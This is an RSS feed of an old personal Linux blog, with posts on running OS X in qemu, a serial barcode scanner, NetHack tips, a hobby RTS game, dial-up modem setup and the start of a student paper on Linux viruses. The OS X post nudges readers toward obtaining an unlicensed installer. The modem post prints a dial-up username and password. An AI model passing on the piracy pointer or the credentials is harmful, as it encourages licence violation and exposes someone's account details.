<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>NNU Computer Whiz &#187; Linux</title>
	<atom:link href="http://nnucomputerwhiz.com/category/linux/feed" rel="self" type="application/rss+xml" />
	<link>http://nnucomputerwhiz.com</link>
	<description>All kinds of Good Stuff</description>
	<lastBuildDate>Sat, 24 Sep 2011 07:10:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>Run OS X in Linux with qemu</title>
		<link>http://nnucomputerwhiz.com/run-osx-in-ubuntu-with-qemu.html</link>
		<comments>http://nnucomputerwhiz.com/run-osx-in-ubuntu-with-qemu.html#comments</comments>
		<pubDate>Thu, 26 Aug 2010 14:57:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[OS X]]></category>
		<category><![CDATA[leopard]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[osx]]></category>
		<category><![CDATA[qemu]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://nnucomputerwhiz.com/?p=199</guid>
		<description><![CDATA[It is possible without too much difficulty to get OS X Leopard running as a guest in a virtual machine with Linux as the host without too much difficulty. It is illegal as far as I know unless you have Linux running on real Apple hardware and don&#8217;t want to reboot just to use OS X but if [...]


Related posts:<ol><li><a href='http://nnucomputerwhiz.com/simple-computer.html' rel='bookmark' title='Simple Computer'>Simple Computer</a></li>
<li><a href='http://nnucomputerwhiz.com/finding-device-drivers.html' rel='bookmark' title='Finding Device Drivers'>Finding Device Drivers</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>It is possible without too much difficulty to get OS X Leopard running as a guest in a virtual machine with Linux as the host without too much difficulty. It is illegal as far as I know unless you have Linux running on real Apple hardware and don&#8217;t want to reboot just to use OS X but if you&#8217;re in this boat you can also use Virtual Box which officially supports OSX guests on Apple hardware. If you don&#8217;t have Apple hardware you&#8217;re only option is qemu and now it&#8217;s possible with having to manually patch qemu.<br />
<span id="more-199"></span></p>
<h3>Configuration:</h3>
<ul>
<li>Ubuntu 10.04 Lucid Lynx</li>
<li>Qemu 0.12.3</li>
<li>AMD Phenom(tm) II X4 20 Processor</li>
<li>4GB Ram</li>
<li><a title="IPC official site" href="http://pcwizcomputer.com/ipcosx86/">iPC OSx86 10.5.6 Universal PPF (Final)</a></li>
</ul>
<h3>Requirements:</h3>
<p>An ISO of OS X</p>
<p>Recent version of Qemu.</p>
<p>A processor with virtualization technology, AMD-V or Intel VT-x capable. I&#8217;m not sure if it is technically required but it certainly helps.</p>
<p>Lots of Ram and disk space.</p>
<h3>Getting OSX 10.5.6 Leopard:</h3>
<p>iPC is one of many &#8220;distributions&#8221; of OS X for non-Apple computers. Check the <a title="Offcial iPC site" href="http://pcwizcomputer.com/ipcosx86/">iPC</a> site for more information on using it. You won&#8217;t find any download there though, you&#8217;ll have to find a <a href="http://www.google.com/search?q=ipc+osx86">more creative source</a>.</p>
<h3>Installation:</h3>
<p>First create an image file to hold the installation.</p>
<pre>$ qemu-img create osx.img 20GB</pre>
<p>This creates a 20 GB image file osx.img in raw format. Specify more GBs if you will want more space but I wouldn&#8217;t do any less then 10GB.</p>
<p>Start Qemu with the new image file and your installation ISO.</p>
<pre>qemu-system-x86_64 -hda osx.img -vga std -m 2048 -soundhw ac97 -cdrom iPC\ OSx86\ 10.5.6\ Universal\ PPF5\ \(Final\).iso  -boot d</pre>
<p>This will start qemu in 64 bit mode. &#8220;-hda osx.img&#8221; should be the name of the image file you created above. &#8220;-cdrom iPC\ OSx86\ 10.5.6\ Universal\ PPF5\ \(Final\).iso&#8221; should be the full path to your installation iso. &#8220;-m 2048&#8243; is how many megabytes of  memory you want to make available to the system. &#8220;-soundhw ac97&#8243; is used to emulate the ac97 sound card which is supported by OSX. &#8220;-boot d&#8221; is used to tell the system to boot of the cdrom first.</p>
<p>If all goes well you should see this message:</p>
<p><a href="http://nnucomputerwhiz.com/wp-content/uploads/QEMU-press-any-key-to-start-installation.png"><img class="alignnone size-full wp-image-204" title="QEMU press any key to start installation" src="http://nnucomputerwhiz.com/wp-content/uploads/QEMU-press-any-key-to-start-installation.png" alt="Start osx installation" width="576" height="320" /></a></p>
<p>Pressing any kill should bring up the language selection menu:</p>
<p><a href="http://nnucomputerwhiz.com/wp-content/uploads/QEMU-OSX-welcome.png"><img class="alignnone size-full wp-image-206" title="QEMU OSX welcome" src="http://nnucomputerwhiz.com/wp-content/uploads/QEMU-OSX-welcome.png" alt="OSX Language selection menu" width="557" height="419" /></a></p>
<p>If you don&#8217;t and it just stalls at the Apple logo. Try using F8 and then -v to startup with diagnostic messages. That might give you some clues as to what&#8217;s going on.</p>
<p>Click next and continue. Then accept the software agreement. Then it asks, &#8220;Where do you want to install Mac OS X?&#8221; and gives you a blank list of possible installation locations. This is because the image file has not yet been formated. Choose &#8220;Utilities&#8221; from the top and &#8220;Disk Utility&#8221;.</p>
<p><a href="http://nnucomputerwhiz.com/wp-content/uploads/Choose-Disk-Utility.png"><img class="alignnone size-full wp-image-210" title="Choose Disk Utility" src="http://nnucomputerwhiz.com/wp-content/uploads/Choose-Disk-Utility.png" alt="Formatting new hdd for osx " width="574" height="430" /></a></p>
<p>Select &#8220;QEMU HARDDISK&#8221;, choose &#8220;erase&#8221; from the top and click the &#8220;erase&#8221; button twice.</p>
<p><a href="http://nnucomputerwhiz.com/wp-content/uploads/use-erase-to-format-osx.png"><img class="alignnone size-full wp-image-211" title="Use Erase to Format OSX" src="http://nnucomputerwhiz.com/wp-content/uploads/use-erase-to-format-osx.png" alt="Formatting in OSX" width="553" height="415" /></a></p>
<p>The disk image is now formatted so close the Disk Utility. You should not have a destination avaliable to install OS X too. Select it and click &#8220;continue&#8221;. It is very important that you customize the installation on the next screen so you can install the proper drivers.</p>
<p><a href="http://nnucomputerwhiz.com/wp-content/uploads/QEMU-OSX-driver-selection.png"><img class="alignnone size-full wp-image-212" title="QEMU OSX driver selection" src="http://nnucomputerwhiz.com/wp-content/uploads/QEMU-OSX-driver-selection.png" alt="QEMU OSX driver selection" width="581" height="436" /></a></p>
<p>It&#8217;s very important that you select the <strong>9.5.0 Voodoo Kernel</strong> or you will be unable to boot your new system. You will need the <strong>LegacyAppleIntelPIIXATA</strong> under chipset drivers or your hard drive will not work.</p>
<p><a href="http://nnucomputerwhiz.com/wp-content/uploads/QEMU-OSX-Driver-Selection-2.png"><img class="alignnone size-full wp-image-213" title="QEMU OSX Driver Selection" src="http://nnucomputerwhiz.com/wp-content/uploads/QEMU-OSX-Driver-Selection-2.png" alt="Audio and USB" width="574" height="430" /></a></p>
<p>For audio drivers select <strong>AC97 Audio</strong> which is under Other Audio Drivers. For Ethernet select <strong>PCGENRTL8139. </strong>If you want to try to get usb to work you will need the <strong>Patched USB drivers. </strong> Also the responsiveness of the mouse and keyboard can be improved by selecting the <strong>PS/2 Keyboard FIX </strong>under the fixes section.</p>
<p>Click &#8220;Done&#8221; and &#8220;Install&#8221;. Then in about 20 minutes you should have a working OS X installation.</p>
<p>Upon reboot you get a welcome screen asking for the region your in. The rest of the setup is pretty straight forward. You don&#8217;t have to register with Apple. Be sure to choose <strong>DHCP</strong> for network setup. Upon completion you&#8217;ll see the beautiful Leopard desktop.</p>
<p><img class="alignnone size-large wp-image-216" title="Leopard Desktop in Ubuntu" src="http://nnucomputerwhiz.com/wp-content/uploads/working-installation-1024x576.png" alt="Leopard Desktop in Ubuntu" width="645" height="363" /></p>
<h3>Getting Networking to work</h3>
<p>Networking in OS X on qemu has been rather tricky to do but following these directions makes it pretty simple. Close QEMU by shutting down OS X. Modify the qemu command to this:</p>
<pre>qemu-system-x86_64 -hda osx.img -vga std -m 2048 -net nic,model=rtl8139 -net user  -no-kvm-irqchip -smb $HOME -soundhw ac97</pre>
<p>The magic here is the &#8220;-no-kvm-irqchip&#8221; which disables a certain accelleration function that causes problems with networking being very slow in OS X. &#8220;model=rtl8139&#8243; is chosen because that&#8217;s what we selected during installation. &#8220;-smb $HOME&#8221; is used to allow file transfers between the host and guest operating system.<br />
To share files open finder. Choose <strong>Connect to Server&#8230;</strong> from the &#8220;go&#8221; menu. Enter &#8220;<strong>smb://10.0.2.2</strong>&#8221; in the server address. Choose &#8220;Connect as Guest&#8221;. Choose a volume and then it should mount it on the left side of the finder.</p>
<h3>Getting Sound</h3>
<p>If sound doesn&#8217;t work try installing the following updated driver.<br />
<a href="http://nnucomputerwhiz.com/wp-content/uploads/VirtualBox-ICH-AC97-Audio-Driver.zip">Qemu ICH AC97 Audio Driver</a></p>
<h3>Other Tweaks</h3>
<p>If you want to take advantage multiple cores you can use the option &#8220;-smp 3&#8243; which tells qemu to make 3 cores available to the guest machine.</p>
<h3>Known Issues</h3>
<p>Occasionally the system crashes. It seems to happen most often when I&#8217;m downloading large files such as Xcode.</p>


<p>Related posts:<ol><li><a href='http://nnucomputerwhiz.com/simple-computer.html' rel='bookmark' title='Simple Computer'>Simple Computer</a></li>
<li><a href='http://nnucomputerwhiz.com/finding-device-drivers.html' rel='bookmark' title='Finding Device Drivers'>Finding Device Drivers</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://nnucomputerwhiz.com/run-osx-in-ubuntu-with-qemu.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Serial Barcode Scanner in Linux</title>
		<link>http://nnucomputerwhiz.com/serial-barcode-scanner-in-linux.html</link>
		<comments>http://nnucomputerwhiz.com/serial-barcode-scanner-in-linux.html#comments</comments>
		<pubDate>Tue, 22 Jun 2010 07:45:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://nnucomputerwhiz.com/?p=195</guid>
		<description><![CDATA[I had a very difficult time finding a way to get a simple serial barcode scanner to work in Linux. USB barcode scanners are a cinch because they are basically like usb keyboards. However with a serial device there has to be something to direct the input from /dev/ttyS0 to the keyboard buffer. I knew [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p>I had a very difficult time finding a way to get a simple serial barcode scanner to work in Linux. USB barcode scanners are a cinch because they are basically like usb keyboards. However with a serial device there has to be something to direct the input from /dev/ttyS0 to the keyboard buffer.<span id="more-195"></span></p>
<p>I knew my scanner was working fine because cat /dev/ttyS0 would output the barcode I scanned. I knew I needed a way to direct the output to the keyboard but I didn&#8217;t want to write the little program to do it, so I searched and searched and searched. After trying a few outdated programs I finally found <a href="http://stackfoundry.com/other/softwedge/">Softwedge</a>. It&#8217;s very simple and easy to compile but if you don&#8217;t even want to go that far there is deb files for 32 bit and 64 bit Debian/Ubuntu.</p>
<p>Just run:</p>
<pre>softwedge -c /dev/ttyWhatever</pre>
<p>to start capturing all your barcodes from your barcode scanner. It worke perfectly on an old IBM Surepos system.</p>
<p>Hopefully this will help someone who is looking to do the same thing.</p>
<pre></pre>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://nnucomputerwhiz.com/serial-barcode-scanner-in-linux.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Slashem and Nethack Survivors guide</title>
		<link>http://nnucomputerwhiz.com/slashem-survivors-guide.html</link>
		<comments>http://nnucomputerwhiz.com/slashem-survivors-guide.html#comments</comments>
		<pubDate>Tue, 23 Feb 2010 18:01:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux Games]]></category>

		<guid isPermaLink="false">http://dtc.fastcomputerdoctors.com/www.nnucomputerwhiz.com/?p=38</guid>
		<description><![CDATA[Slash&#8217;EM survivors guide Having successfully ascended a Valkyrie on Nethack I moved on to more exciting things like Slash&#8217;EM. I have found Slash&#8217;EM to be every bit as good as Nethack, a little more challenging and much more interesting. This guide will hopefully get you started in playing and save you some frustrations and many, [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<h1>Slash&#8217;EM survivors guide </h1>
<p>
Having successfully ascended a Valkyrie on <a href="http://nethack.org">Nethack</a> I moved on to more exciting things like <a href="http://slashem.sourceforge.net">Slash&#8217;EM</a>. I have found Slash&#8217;EM to be every bit as good as Nethack, a little more challenging and much more interesting. This guide will hopefully get you started in playing and save you some frustrations and many, many stupid deaths.
</p>
<p><span id="more-38"></span></p>
<h2>Survival Tips:</h2>
<h3>1</h3>
<p>
I would begin by picking one class and learning all the things that it can do at low levels. Once you have all the functions of one class mastered it will be much easier to learn all the dangers of the Dungeons of Doom. The Monk is probably the easiest class to use, followed by the Valkery and the Samaria.
</p>
<h3>2</h3>
<p>
Keep a journal!, this is probably the most helpful thing you can do. Once you start playing and discover that eating kobalds is hazardous to your health, write it down and never do it again unless you are poison resident. You&#8217;ll also want to keep track of how much stuff costs so it will be easier to identify later.
</p>
<h3>3</h3>
<p>
Don&#8217;t quaff from fountains, the risk is not worth the reward unless you are high enough level to take on water demons. Sinks are safe to quaff from, water elementals are slow enough that you can usually take them down without getting hurt, just be sure to take off armor because it will break if you get toxic waste.
</p>
<h3>4</h3>
<p>
Kick gray stones, they could be load stones and you don&#8217;t want to be stuck with one of them. Touch stone have different messages when you rub gems on them. It&#8217;s a good idea to bless them.
</p>
<h3>5</h3>
<p>
Dip useless potions such as booze in fountains to create water which can be bless by setting them on an offer and praying. I usually bless 10 potions or so at a time.
</p>
<h3>6</h3>
<p>
Drop items on alters to identify blessed/cursed status.
</p>
<h3>7</h3>
<p>
Take your time, there is no hurry, unless you are running out of food. I don&#8217;t go below dungeon level 4 unless I am at least 5th level.
</p>
<h3>8</h3>
<p>
#chat, you never know who will talk to you.
</p>
<h3>9</h3>
<p>
Eat, even when not hungry but only if you know it is safe. As a general rule only eat things your pet will eat. Stockpile lichen corpses because they don&#8217;t decay you can hold on to them until you are hungry. As a last resort you can pray to satisfy your belly.
</p>
<h3>10</h3>
<p>
Don&#8217;t leave your pet behind. I used to do this all the time because I got tired of waiting on them. They are very useful. They steal from shops, if trained with treats. For cats and dogs treats are tripe rations and meat balls (healers can make meat balls by casting stone to flesh on a bunch of rocks). For horses it&#8217;s carrots, apples and things like that. Pets can also identify if an items is cursed. If it is cursed they won&#8217;t walk on it unless &#8220;they move reluctantly.&#8221; It only takes a few times of using some nasty cursed items to realized that everything needs to be identified.
</p>
<h3>11</h3>
<p>
Reflection and Magic resistance are very important. Once you get these you are almost invincible.</p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://nnucomputerwhiz.com/slashem-survivors-guide.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>World Domination</title>
		<link>http://nnucomputerwhiz.com/world-domination-rts.html</link>
		<comments>http://nnucomputerwhiz.com/world-domination-rts.html#comments</comments>
		<pubDate>Tue, 23 Feb 2010 17:59:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux Games]]></category>

		<guid isPermaLink="false">http://dtc.fastcomputerdoctors.com/www.nnucomputerwhiz.com/?p=36</guid>
		<description><![CDATA[The World Domination Project is a Real Time Strategy game inspired by
the board game Axis and Allies utilizing the <a href="http://www.stratagus.org/">Stratagus</a> engine.


No related posts.]]></description>
			<content:encoded><![CDATA[<h1>World Domination</h1>
<p><big><span style="font-weight: bold;">About</span></big></p>
<p><em>I am no longer working on this project. Anyone who has the desire can take it over. I would be happy to help in what way I can.</em></p>
<p>The World Domination Project is a Real Time Strategy game inspired by<br />
the board game Axis and Allies utilizing the <a href="http://www.stratagus.org/">Stratagus</a> engine. It will<br />
emphasize strategy and not &#8220;see who can build the most units the<br />
fastest.&#8221; Resources are not gathered like in other RTS&#8217;s, rather they<br />
are distributed after a fixed interval of time based on how much land a<br />
player occupies.<br />
<span id="more-36"></span></p>
<p>
<big><span style="font-weight: bold;">News</span></big></p>
<table style="text-align: left; width: 100%;" border="1">
<tbody>
<tr>
<td>4/08/06</td>
<td>Version 0.4 Released! Get yours in the download section below.<br />
	  <a href="http://sourceforge.net/project/shownotes.php?release_id=408128&#038;group_id=140866">Release Notes</a>
	  </td>
</tr>
<tr>
<td>2/16/06</td>
<td>Version 0.3 Released! Get yours in the download section below.<br />
	  <a href="http://sourceforge.net/project/shownotes.php?release_id=394023&#038;group_id=140866">Release Notes</a>
	  </td>
</tr>
<tr>
<td>2/4/06</td>
<td>Version 0.2 Released! Get yours in the download section below.<br />
	  <a href="http://sourceforge.net/project/shownotes.php?release_id=391005&#038;group_id=140866">Release Notes</a></td>
</tr>
<tr>
<td>07/15/05</td>
<td>Version 0.1 Released! Get yours in the download section below.</td>
</tr>
<tr>
<td>06/06/05</td>
<td>Project Started and CVS populated.</td>
</tr>
</tbody>
</table>
<p></p>
<h4>Downloads</h4>
<p>Downloads are hosted by Sourceforge.<br />
The latest version is 0.4, Choose the one that matches your operating<br />
system.<br />
</big></p>
<table style="text-align: left; width: 100%;" border="1">
<tbody>
<tr>
<td>Windows x86</td>
<td><a href="http://prdownloads.sourceforge.net/worlddomination/worlddomination-0.4.zip?download">worlddomination-0.4.zip</a></td>
</tr>
<tr>
<td>Linux x86</td>
<td><a href="http://prdownloads.sourceforge.net/worlddomination/worlddomination-0.4.tar.gz?download">worlddomination-0.4.tar.gz</a></td>
</tr>
</tbody>
</table>
<p><big><br />
<br style="font-weight: bold;"><br />
<span style="font-weight: bold;">Screen Shots</span></big><br />

<a href='http://nnucomputerwhiz.com/world-domination-rts.html/screenshot1' title='screenshot1'><img width="150" height="150" src="http://nnucomputerwhiz.com/wp-content/uploads/screenshot1-150x150.png" class="attachment-thumbnail" alt="screenshot1" title="screenshot1" /></a>
<a href='http://nnucomputerwhiz.com/world-domination-rts.html/screenshot2' title='screenshot2'><img width="150" height="150" src="http://nnucomputerwhiz.com/wp-content/uploads/screenshot2-150x150.png" class="attachment-thumbnail" alt="screenshot2" title="screenshot2" /></a>
<a href='http://nnucomputerwhiz.com/world-domination-rts.html/screenshot-0-3' title='screenshot-0.3'><img width="150" height="150" src="http://nnucomputerwhiz.com/wp-content/uploads/screenshot-0.3-150x150.png" class="attachment-thumbnail" alt="screenshot-0.3" title="screenshot-0.3" /></a>
<br />
<br />
<big><span style="font-weight: bold;">Bugs</span></big></p>
<p>Please report bugs using sourceforge&#8217;s bug tracking system <a href="http://sourceforge.net/tracker/?group_id=140866&amp;atid=747681">here</a>.</p>
<p><big style="font-weight: bold;"><br />
Developement</big></p>
<p>Developement is done at the <a href="http://www.sourceforge.net/projects/worlddomination">project</a><br />
page at Sourceforge. <br />
<big><br style="font-weight: bold;"><br />
<span style="font-weight: bold;">Trouble? Complaints? Complements?</span></big></p>
<p>You can e-mail me at:</p>
<p>david AT stonefamily DOT cjb DOT net</p>
<p>where the capital words are replaced with @ . . respectively.</p>
<p><center><br />
<font size=1>hosting by: </font> <br /></br><br />
<a href="http://sourceforge.net/projects/worlddomination/"><br />
<img src="http://sourceforge.net/sflogo.php?group_id=84903&amp;type=1" width="88" height="31" border="0" alt="SourceForge.net Logo" /></a><br />
</center></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://nnucomputerwhiz.com/world-domination-rts.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SL-modem in Linux</title>
		<link>http://nnucomputerwhiz.com/sl-modem-linux.html</link>
		<comments>http://nnucomputerwhiz.com/sl-modem-linux.html#comments</comments>
		<pubDate>Tue, 23 Feb 2010 17:56:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://dtc.fastcomputerdoctors.com/www.nnucomputerwhiz.com/?p=33</guid>
		<description><![CDATA[SL-modem in Ubuntu I&#8217;ve spent many hours trying to get my modem to work in Ubuntu 6.10. The answer was way to simple: Init3 = AT+MS=34 If you have not tried that yet put it in your wvdial.conf or ppp options whichever method you are using. I tried unsuccessfully to compile many different drivers and [...]


Related posts:<ol><li><a href='http://nnucomputerwhiz.com/linux-dell-latitude.html' rel='bookmark' title='Linux on Dell Latitude 100L'>Linux on Dell Latitude 100L</a></li>
<li><a href='http://nnucomputerwhiz.com/run-osx-in-ubuntu-with-qemu.html' rel='bookmark' title='Run OS X in Linux with qemu'>Run OS X in Linux with qemu</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<h1>SL-modem in Ubuntu</h1>
<p>
I&#8217;ve spent many hours trying to get my modem to work in Ubuntu 6.10. The answer was way to simple:</p>
<pre>
Init3 = AT+MS=34
</pre>
<p>
</p>
<p><span id="more-33"></span></p>
<p>
If you have not tried that yet put it in your wvdial.conf or ppp options whichever method you are using. I tried unsuccessfully to compile many different drivers and many different versions all of them had the <em>no carrier</em> error after dialing out. I have a Dell laptop Latitude 100L. The modem information on <i>lspci</i> is:</p>
<pre>
00:1f.6 Modem: Intel Corporation 82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) AC'97 Modem Controller (rev 01)
</pre>
<p>
It uses the open source kernel module snd_intel8x0m which is included in recent vanilla kernel sources. It could use the closed source slamr module but I have not tried it much since the open source module works. </p>
<h3>Installing this Modem in Linux</h3>
<p>First, if you havn&#8217;t already done so, install the sl-modem-daemon with the command:</p>
<pre>sudo apt-get install sl-modem-daemon</pre>
<p>
this will install the user-level application needed to use the driver. You don&#8217;t need to install the sl-modem-source package because this is just the closed source driver provided by Smart Link Inc. You may find it useful but I did not need it.
</p>
<p>The configuration for sl-modemd is located in /etc/sl-modem-daemon you may need to change it appropriately to match your country and set DONTSTART=0 if you want the driver module to be automatically loaded. The driver can be loaded with &#8220;sudo /etc/init.d/sl-modem-daemon start&#8221;. If all goes well you should see your modem device at /dev/ttySL0 if not check dmesg for errors. </p>
<p>I used wvdial to configure my dial-up connection but you can use whatever tool you would like. &#8220;sudo apt-get install wvdial&#8221; if you don&#8217;t already have it. First run sudo wvdialconf to setup the initial configuration file. Sudo nano /etc/wvdial.conf to add specific information about your Internet provider. Be sure to add the line:</p>
<pre>
Init3 = AT+MS=34
</pre>
<p>
beneath the Init2 line or your connection will not work. This will fix the &#8220;No Carrier&#8221; error that plagued me for so long. Change the dial-up number, username and password. Save and Exit. sudo wvdial to dial the connection. You only have to run as root the first time after that you can just do wvdial.
</p>
<pre>
#My wvdial.conf file

[Dialer defaults]
# Lines begining with # are comments.
# wvdial will look for this file at  /etc/wvdial.conf  or  /home/LoginName/.wvdial.rc

# Redhat/Fedora have an  Internet Connection Wizard in the popup menus
# ICW will write a two part  /etc/wvdial.conf supporting multiple modem usage.

Modem = /dev/ttySL0
Init1 = ATZ
Init2 = ATQ0 V1 E1 S0=0 &#038;C1 &#038;D2 +FCLASS=0
Init3 = AT+MS=34
#  Lack of dialtone acquisition can be due to low line voltage,
#    a common problem in Italy.
#  Try inserting a "dial without waiting": X3
#  Init2 = ATQ0 V1 E1 S0=0 X3 &#038;C1 &#038;D2 +FCLASS=0
#  In case of connection instabilities, specify a lower frequency:
#  Init2 = ATQ0 V1 E1 S0=0 X3 &#038;C1 &#038;D2  +MS=34
ISDN = 0
Modem Type = Analog Modem
Phone =  9474701
# if going through a switch board, a perhaps necessary pause can produced with a comma:
# Phone = 1,Dialout_phone_number
Username = dlstone%nnu
# if Internet Provider is MSN.net, use under Linux:   MSN/LoginName
Password = a;sldkfj1
# the following lines is NEEDED only by slmodemd
Carrier Check = no
# Kinternet appears to add it automatically.

## If CONNECT is achieved but browsing fails, try activating the following line
# Auto DNS = yes
##    To make a logfile wvdial.out
# wvdial 2>&#038;1 | tee wvdial.out
# #  For some Internet providers, the following line is necessary
 Stupid Mode = yes
##  for other wvdial  options, do "man wvdial" or see the documentation in
##    /usr/share/doc/wvdial/
## End wvdial.conf

My /etc/defaults/sl-modem-daemon file

DONTSTART=0

SLMODEMD_DEVICE=auto
SLMODEMD_COUNTRY=USA

OPTS=""
FORCESTART=0
</pre>
<p>Hopefully, you can enjoy the pleasures of dial-up Internet once again. If you have trouble don&#8217;t hesitate to contact me.</p>


<p>Related posts:<ol><li><a href='http://nnucomputerwhiz.com/linux-dell-latitude.html' rel='bookmark' title='Linux on Dell Latitude 100L'>Linux on Dell Latitude 100L</a></li>
<li><a href='http://nnucomputerwhiz.com/run-osx-in-ubuntu-with-qemu.html' rel='bookmark' title='Run OS X in Linux with qemu'>Run OS X in Linux with qemu</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://nnucomputerwhiz.com/sl-modem-linux.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Linux Virus</title>
		<link>http://nnucomputerwhiz.com/linux-virus.html</link>
		<comments>http://nnucomputerwhiz.com/linux-virus.html#comments</comments>
		<pubDate>Tue, 23 Feb 2010 17:55:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://dtc.fastcomputerdoctors.com/www.nnucomputerwhiz.com/?p=31</guid>
		<description><![CDATA[Spyware/Viruses in Linux By David Stone November 28, 2006 AD CS343 - Operating Systems I Fall Semester, 2006 Dr. Barry Myers Abstract The purpose of this paper is to investigate the possibility of viruses in Linux and to demonstrate how viruses work and spread. We will look at the fundamental security differences between Linux and [...]


Related posts:<ol><li><a href='http://nnucomputerwhiz.com/spyware-prevention.html' rel='bookmark' title='Spyware Prevention'>Spyware Prevention</a></li>
<li><a href='http://nnucomputerwhiz.com/spyware-scanners.html' rel='bookmark' title='Spyware Scanners'>Spyware Scanners</a></li>
<li><a href='http://nnucomputerwhiz.com/linux-introduction.html' rel='bookmark' title='Introduction To Linux'>Introduction To Linux</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><P CLASS="western" ALIGN=CENTER STYLE="margin-bottom: 0in"><FONT SIZE=4><B>Spyware/Viruses<br />
in Linux</B></FONT></P><br />
<P CLASS="western" ALIGN=CENTER STYLE="margin-bottom: 0in">By David<br />
Stone</P><br />
<P CLASS="western" ALIGN=CENTER STYLE="margin-bottom: 0in">November<br />
28, 2006 AD</P><br />
<P CLASS="western" ALIGN=CENTER STYLE="margin-bottom: 0in">CS343 -<br />
Operating Systems I</P><br />
<P CLASS="western" ALIGN=CENTER STYLE="margin-bottom: 0in">Fall<br />
Semester, 2006</P><br />
<P CLASS="western" ALIGN=CENTER STYLE="margin-bottom: 0in">Dr. Barry<br />
Myers</P><br />
<P CLASS="western" ALIGN=CENTER STYLE="margin-bottom: 0in"><BR><br />
</P><br />
<P CLASS="western" ALIGN=CENTER STYLE="margin-bottom: 0in"><FONT SIZE=4><B>Abstract</B></FONT></P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%"><BR><br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%">	The<br />
purpose of this paper is to investigate the possibility of viruses in<br />
Linux and to demonstrate how viruses work and spread. We will look at<br />
the fundamental security differences between Linux and Windows that<br />
make viruses so common in Windows and almost unheard of in Linux.<br />
</P><br />
<span id="more-31"></span><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%"><BR><br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%; page-break-before: always"><br />
<FONT SIZE=4><B>Summary</B></FONT></P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%">Creating<br />
a Linux virus is trivial but getting it out in the wild and infecting<br />
large amounts of systems is very difficult. Design differences make<br />
Linux much less susceptible to viral infections than Windows.<br />
Security holes are much less common and diversity makes targeting<br />
specific software bugs less effective. Anti-virus software will never<br />
be needed in Linux and education is still the best defense against<br />
viruses and malware.</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%"><BR><br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%"><FONT SIZE=4><B>Introduction</B></FONT></P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%">Spyware,<br />
viruses and other malware have become an increasing problem on<br />
Microsoft Windows based systems and have caused many Windows users to<br />
switch over to using other operating systems. I am going to be<br />
focusing on GNU/Linux (hereafter referred to as Linux) because of its<br />
availability and the concepts and ideas about viruses in Linux apply<br />
to other Unix based operating systems such as Mac OS X. Historically,<br />
users of Linux have had virtually no issues with spyware, viruses or<br />
other malware. Many have thought it was just because they did not<br />
have a large enough market share to attract malware authors but the<br />
reality is that Linux is so fundamentally different from Windows that<br />
it is much more resistant to virus or spyware infections and other<br />
forms of malware.</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%"><BR><br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%"><FONT SIZE=4><B>Security<br />
differences between Windows and Linux/OS X</B></FONT></P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%">	Because<br />
Linux is based on UNIX it is very different from Windows. UNIX was a<br />
multi-user operating system that clearly defined the access rights of<br />
users and the programs they ran. Each user was given a directory,<br />
called home, that they could write to. The user did not have write<br />
access to any other area of the system. This was down so that one<br />
ignorant or malicious user could not compromise the entire system.<br />
But because system administrators needed access to system files and<br />
the ability to install or remove programs the root account was<br />
created. The root account had complete access to every file on the<br />
system and complete control of everything running on the system.<br />
Linux uses the same model for user accounts and access rights.<br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%">	Windows<br />
has a much different way of approaching user accounts and access<br />
rights. In Windows 3.1 through Windows ME every user and program had<br />
